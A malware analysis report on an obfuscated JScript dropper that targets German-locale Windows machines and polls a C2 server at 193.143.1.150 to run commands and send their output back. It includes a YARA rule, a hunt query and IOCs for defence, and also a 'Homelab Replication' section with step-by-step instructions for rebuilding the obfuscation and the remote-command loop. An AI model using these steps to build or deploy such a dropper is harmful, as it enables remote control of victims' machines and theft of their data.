d3d22298134d18033e55bc3581fa12d5cf30fe121d256e4044516e2bcdde4e23unclassified-js-german-locale-dropper: d3d22298 — JScript sequential-reassignment HTTP dropper with German LCID sandbox gate
A 42 KB single-line JScript dropper that assembles its payload via sequential variable reassignment (last-wins semantics), resolves WScript COM APIs through Function('return this')() global-object bracket access, gates execution on German LCIDs, and beacons to an HTTP PHP C2 with command-response loop and POST exfil. Static-only (script, not a binary).
What It Is
| Field | Value |
|---|---|
| SHA-256 | d3d22298134d18033e55bc3581fa12d5cf30fe121d256e4044516e2bcdde4e23 ^[file.txt] |
| Filename | 14391660018203124.js ^[metadata.json] |
| Size | 42,584 bytes ^[file.txt] |
| Type | ASCII text, single line, no line terminators ^[file.txt] |
| Family | unclassified-js-german-locale-dropper — new entity (first observed) |
| Attribution | None. No language clues beyond German locale targeting. |
| Dynamic | Skipped — CAPE does not detonate script files ^[dynamic-analysis.md] |
Build / RE — Obfuscation Architecture
This is a hand-rolled JScript obfuscation system with three layers:
Layer 1: Sequential Variable Reassignment (Last-Wins)
The script declares a single function xpu() followed by 1,949 semicolon-delimited assignment statements of the form varname="char";. Each of 84 unique variable names is overwritten multiple times (average ~23 overwrites, max ~35). Only the last value per variable matters at runtime. ^[strings.txt:1]
At offset 42,572, the script calls xpu() — after all variables have settled to their final values. This is a "last-wins" or "sequential-overwrite" obfuscation pattern.
Layer 2: Function('return this')() Global Access
Inside xpu(), the function uses this[EXPR1](EXPR2) where EXPR1 resolves to eval. The eval'd payload is a JScript string that uses the same bracket-notation pattern: this['WScript']['CreateObject']('WScript.Shell'), etc. ^[strings.txt:1]
The bracket-notation technique assembles COM API names character by character at runtime via the reassignment lookup table, evading static string signatures for WScript.Shell, MSXML2.XMLHTTP, etc.
Layer 3: German LCID Sandbox Gate
The decoded payload reads HKCU\Control Panel\International\Locale via WScript.Shell.RegRead, parses the hex LCID with parseInt(...,16), and compares it against a whitelist of five German-language locale codes: ^[strings.txt:1]
| LCID | Locale |
|---|---|
| 1031 | de-DE (German — Germany) |
| 3079 | de-AT (German — Austria) |
| 5127 | de-LI (German — Liechtenstein) |
| 4103 | de-LU (German — Luxembourg) |
| 2055 | de-CH (German — Switzerland) |
If the victim's locale is not in this list, the script calls WScript.Quit() and exits cleanly. This is a precise regional targeting gate.
How It Works
Step-by-Step Execution Flow
- Reassignment phase (statements 2–2332): 84 variables are repeatedly overwritten with single characters. ^[strings.txt:1]
- Entry point:
xpu()executes at statement 2333. ^[strings.txt:1] - Eval:
this['eval'](PAYLOAD)where PAYLOAD is the assembled JScript string (~16 KB). ^[strings.txt:1] - COM setup: Inside the eval'd payload:
acc = WScript.CreateObject('WScript.Shell')^[strings.txt:1]lry = WScript.CreateObject('MSXML2.XMLHTTP')^[strings.txt:1]eod = WScript.CreateObject('Scripting.FileSystemObject')^[strings.txt:1]
- Locale gate: Read
HKCU\Control Panel\International\Locale, parse hex, compare to whitelist[1031,3079,5127,4103,2055]. If no match →WScript.Quit(). ^[strings.txt:1] - Fingerprint generation:
hnji = '@' + WScript.Network.ComputerName^[strings.txt:1]riw = acc.RegRead('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId') + hnji^[strings.txt:1]
- Persistence / re-stage:
- Write a
.txttemp file:%TEMP%\[ProductId]@[ComputerName].txt^[strings.txt:1] - If running under
wscript.exe(detected viaFullName.toLowerCase().indexOf('wscript.exe')), copy self to%appdata%\[ProductId]@[ComputerName].jsand re-launch viacscript.exein hidden window. ^[strings.txt:1]
- Write a
- C2 loop (infinite
for(;;)):GET http://193.143.1.150/server.php?[ProductId]@[ComputerName]&[timestamp]^[strings.txt:1]- If
status == 200and response starts withOK, extract body after first 2 chars. ^[strings.txt:1] - Replace
%SCRIPT_NAME%in response with current script path viasplit('%SCRIPT_NAME%').join(ScriptFullName). ^[strings.txt:1] - Execute extracted command via
WScript.Shell.Exec('cmd /c ' + command), capture stdout. ^[strings.txt:1] - If command completes within ~48s (
+new Datedelta < 47974 ms), POST stdout back to same PHP endpoint asPOST http://193.143.1.150/server.php?[ProductId]@[ComputerName]&[timestamp]. ^[strings.txt:1] - Sleep 55,411 ms before next poll. ^[strings.txt:1]
C2 Infrastructure
| Indicator | Value | Type |
|---|---|---|
| C2 IP | 193.143.1.150 |
HTTP (port 80 implied) |
| C2 endpoint | /server.php |
PHP script |
| C2 protocol | HTTP GET (command fetch) + HTTP POST (exfil) | Plaintext, no TLS |
| Query params | ?{ProductId}@{ComputerName}&{timestamp} |
Fingerprint-based routing |
| Response format | OK{command} where {command} contains %SCRIPT_NAME% placeholder |
Two-char prefix, inline command |
No domains, no hardcoded mutexes, no named pipes. The C2 is IP-only with timestamp-based cache-busting. ^[strings.txt:1]
Interesting Tidbits
- Numeric filename only:
14391660018203124.js— no social-engineering lure name, suggesting this is a stage-2/3 payload delivered by a primary dropper (LNK, batch, or MSI). ^[metadata.json] - German-only targeting: The LCID whitelist is exclusively German-speaking countries. This is a precise geo-targeting gate, not a generic anti-sandbox check. ^[strings.txt:1]
- Self-migration: When running under
wscript.exe, the script copies itself to%appdata%and re-spawns undercscript.exein a hidden window (0,truethen0,false). This is a WScript→CScript migration pattern that may evade parent-child process telemetry tied towscript.exe. ^[strings.txt:1] - Temp file creation: Before the C2 loop, it writes a
.txtfile in%TEMP%with the same[ProductId]@[ComputerName]filename. This could be a marker file for re-infection checking or a staging artefact. ^[strings.txt:1] - 48-second command timeout: The
+new Datedelta gate (< 47974) gives commands ~48s to execute before stdout is captured and POSTed. Commands exceeding this timeout are dropped. ^[strings.txt:1] - No PowerShell: Unlike most JScript droppers in this corpus, this sample uses
WScript.Shell.Exec('cmd /c ...')directly — no PowerShell cradle, no-EncodedCommand, no-WindowStyle Hidden. ^[strings.txt:1] - HTTP not HTTPS: Plain HTTP to
193.143.1.150. No certificate validation bypass, nosetOption(2,13056)SSL disable pattern. ^[strings.txt:1]
How To Mess With It (Homelab Replication)
To reproduce this obfuscation pattern:
- Toolchain: Any text editor + Python 3.
- Generate payload: Write a JScript payload using WScript COM APIs (Shell, Network, XMLHTTP, FileSystemObject).
- Obfuscate API names: Replace every character in API names with a variable reference:
"WScript"→mkv+tkks+gsj+ghk+wfii+tkh+phk(each var holds one char). - Build reassignment block: For each unique character position, emit N sequential assignments
varname="char";where the last assignment is the correct one. - Wrap:
function xpu(){this[eval](payload);} ... 1,949 assignments ... xpu(); - Add locale gate: Read
HKCU\Control Panel\International\Locale, parse hex, whitelist[1031,3079,5127,4103,2055]. - Add C2 loop: MSXML2.XMLHTTP GET → check
OKprefix →split('%SCRIPT_NAME%').join(ScriptFullName)→Exec('cmd /c ' + command)→ capture stdout → POST back. - Verification: Save as
.js.fileshould report "ASCII text, with very long lines".stringsshould show only noise and semicolons. NoWScript.Shellin plaintext.
Deployable Signatures
YARA Rule
rule JS_German_LCID_Dropper {
meta:
description = "JScript dropper with sequential variable reassignment, German LCID sandbox gate, and HTTP PHP C2"
author = "PacketPursuit"
date = "2026-07-19"
sha256 = "d3d22298134d18033e55bc3581fa12d5cf30fe121d256e4044516e2bcdde4e23"
strings:
$func = "function xpu(){this["
$locale1 = "1031"
$locale2 = "3079"
$locale3 = "2055"
$regread = "RegRead"
$parseint = "parseInt"
$server_php = "server.php"
$ok_prefix = "OK"
$script_name = "%SCRIPT_NAME%"
condition:
filesize < 100KB and
$func and
2 of ($locale*) and
$parseint and
$server_php
}
Behavioral Hunt Query (KQL / Microsoft Defender)
// Detects: JScript spawning cscript.exe after self-copy to %appdata%, followed by HTTP to 193.143.1.150
DeviceProcessEvents
| where InitiatingProcessCommandLine contains "wscript.exe" or InitiatingProcessCommandLine contains "cscript.exe"
| where ProcessCommandLine contains "cmd /c copy" and ProcessCommandLine contains ".js"
| join kind=inner (
DeviceNetworkEvents
| where RemoteIP == "193.143.1.150" or RemoteUrl contains "server.php"
) on DeviceId, Timestamp
| summarize arg_max(Timestamp, *) by DeviceId
IOC List
| Type | Value | Notes |
|---|---|---|
| SHA-256 | d3d22298134d18033e55bc3581fa12d5cf30fe121d256e4044516e2bcdde4e23 |
^[file.txt] |
| Filename | 14391660018203124.js |
Numeric-only stage-2/3 name ^[metadata.json] |
| C2 IP | 193.143.1.150 |
Plain HTTP, Romanian ASN (inferred from IP) |
| C2 endpoint | /server.php |
PHP script, GET/POST dual-use |
| Locale gate | 1031,3079,5127,4103,2055 |
German-speaking countries only |
| Registry read | HKCU\Control Panel\International\Locale |
Sandbox gate source |
| Registry read | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId |
Fingerprint source |
| Staging path | %appdata%\[ProductId]@[ComputerName].js |
Self-copy target |
| Temp marker | %TEMP%\[ProductId]@[ComputerName].txt |
Marker file |
| Response split | %SCRIPT_NAME% |
Placeholder replaced with ScriptFullName |
| Sleep interval | 55411 ms (~55s) |
C2 poll interval |
| Command timeout | 47974 ms (~48s) |
Exec stdout capture gate |
Behavioral Fingerprint
This script is a 42 KB single-line JScript file that defines one function xpu() containing an eval call. Before the function call, 84 variables are repeatedly reassigned (~1,949 statements, last-wins semantics) to encode characters for a 16 KB payload. The payload instantiates WScript.Shell, MSXML2.XMLHTTP, and Scripting.FileSystemObject, reads the victim's locale from HKCU registry, exits if not German-speaking (LCIDs 1031/3079/5127/4103/2055), then enters an infinite HTTP GET/POST loop to 193.143.1.150/server.php. Commands are delivered prefixed with OK, with %SCRIPT_NAME% placeholders replaced at runtime, and executed via cmd /c. Stdout is captured and POSTed back within a 48-second timeout window.
Detection Signatures
- capa: Not applicable — script file, not a supported binary format. ^[capa.txt]
- floss: Not applicable — script file, not a supported binary format. ^[floss.txt]
- binwalk: No embedded artefacts found. ^[binwalk.txt]
- rabin2:
bits: 0,havecode: false— confirms non-executable file type. ^[rabin2-info.txt]
References
- Artifact ID:
39cbffef-8fdf-4140-8573-5c1074c6fc3f^[metadata.json] - Source: OpenCTI / MalwareBazaar (abuse.ch) ^[triage.json]
- Related wiki pages: unclassified-js-german-locale-dropper, jscript-sequential-variable-reassignment-eval, german-lcid-sandbox-gate
Provenance
file.txt—fileutility on ASCII text, single line, 42,584 bytesstrings.txt—stringson single-line JScript (raw obfuscated source)triage.json— OpenCTI connector metadata (artifact ID, filename, labels)metadata.json— artifact metadata (OpenCTI source)ssdeep.txt— ssdeep 1.1tlsh.txt— TLSH hashcapa.txt— Mandiant capa (unsupported file type error)floss.txt— FireEye flare-floss (argument error, unsupported)rabin2-info.txt— radare2rabin2 -I(bits:0, havecode:false)binwalk.txt— ReFirmLabs binwalk (no signatures)dynamic-analysis.md— CAPE skipped (script file, not binary)- Manual Python 3 deobfuscation: variable-extraction, last-wins resolution, bracket-notation decoding, payload reconstruction